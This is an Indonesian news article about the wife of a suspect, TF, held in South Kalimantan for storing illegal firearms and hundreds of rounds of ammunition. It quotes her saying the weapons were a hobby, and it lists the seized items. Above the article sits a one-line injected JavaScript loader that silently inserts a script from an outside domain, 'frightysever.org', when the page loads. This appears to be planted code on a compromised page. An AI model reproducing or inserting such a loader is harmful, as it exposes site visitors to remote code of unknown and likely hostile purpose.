(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

TF Pemilik Senpi Ratusan Amunisi Baru Menikah 4 Bulan, Begini Pengakuan Sang Istri

KANALKALIMANTAN.COM, BANJARMASIN – Istri dari tersangka penyimpan sejumlah senjata api dan ratusan amunisi di Kalimantan Selatan angkat suara terkait penahanan suaminya TF.

Putri Nabila, mengaku baru 4 bulan menikah dengan TF dan tinggal bersama di rumah yang beralamat di Komplek Shalli Messi Blok 05, Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar. Salah satu titik tempat dimana TF menyimpan barang yang terlarang dimiliki warga tanpa izin itu.

Keseharian tersangka dikatakan Nabila tidak jauh berbeda lelaki pada umumnya alias normal saja. TF juga sebagai karyawan bagian representative di salah satu anak perusahaan Pelindo di Banjarmasin.

Semenjak menikah pada awal tahun 2023, Nabila mengaku mengetahui jika suaminya menyimpan sejumlah senjata api dan amunisi. Nabila bahkan pernah mengingatkan kepada suaminya bahwa itu benda yang dilarang.

“Saya tahu dia punya senjata, tapi cuma sekedar hobi tidak digunakan untuk kejahatan,” katanya ditemui di Mapolda Kalsel, Kamis (8/6/2023) siang.

Bahkan, perempuan muda ini berani pasang badan kalau suaminya hanya sebagai pengoleksi senjata api dan amunisi saja.

Putri Nabila, istri tersangka TF yang menyimpan senjata api dan ratusan amunisi. Foto: rizki

“Hobinya sejak 2018, saya berani pasang badan, saya tahu 24 jam dia melakukan apa saja,” katanya.

Menurutnya, senpi dan ratusan amunisi dibeli suaminya di marketplace Tokopedia beberapa tahun lalu sebelum menikahi dirinya.

“Semenjak menikah dengan saya 2023 tidak pernah menambah stok lagi,” katanya.

Senada dengan yang disampaikan Kapodla Kalsel Irjen Andi Rian, Nabila mengaku pernah diceritakan tersangka TF bahwa sejak kecil bercita-cita ingin menjadi anggota TNI.

Bahkan menurutnya tersangka pernah mendaftar namun tidak kesampaian, sehingga meneruskan kesukaan berbau militer dengan hobi koleksi senjata api.

“Iya ada riwayatnya pernah daftar tentara, tapi gagal,” katanya.

Istri tersangka TF mengaku sudah dilakukan pemeriksaan oleh polisi dan saat ini dirinya hanya berstatus sebagai saksi.

Dirinya mengaku syok dan berharap suaminya dikenakan hukuman yang seringan-ringannya karena menurutnya perbuatan suaminya tidak merugikan orang lain.

Sebelumnya diberitakan tersangka TF ditangkap karena menyimpan senpi ilegal di tiga lokasi berbeda yaitu di rumahnya di kawasan Kertak Hanyar Kabupaten Banjar, di kawasan Alalak Kabupaten Batola, dan di kantor tempatnya bekerja.

Dari hasil penggeladahan diamankan senjata berupa bazoka antitank, senjata api laras panjang M4 rakitan, amunisi kaliber 30 mm (non aktif), senapan angin laras panjang kaliber 4,5.

Kemudian sepucuk airsoftgun laras panjang (pretelan), satu buah magazine panjang M16 kaliber 5,56,dua buah magazen pendek M16 kaliber 5,56, sepucuk senjata api rakitan, dan sebuah replika pistol.

Lalu ada 200 butir amunisi kaliber 5,56 (tidak aktif), 153 butir amunisi kaliber 5,56 (aktif), 100 butir amunisi 7,62, dan beberapa amunisi serta kelengkapan lainnya.

Seluruh barang bukti tersebut diperlihatkan bersama tersangka TF saat konferensi pers di halaman Mapolda Kalsel, Kamis (8/6/2023) pagi.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie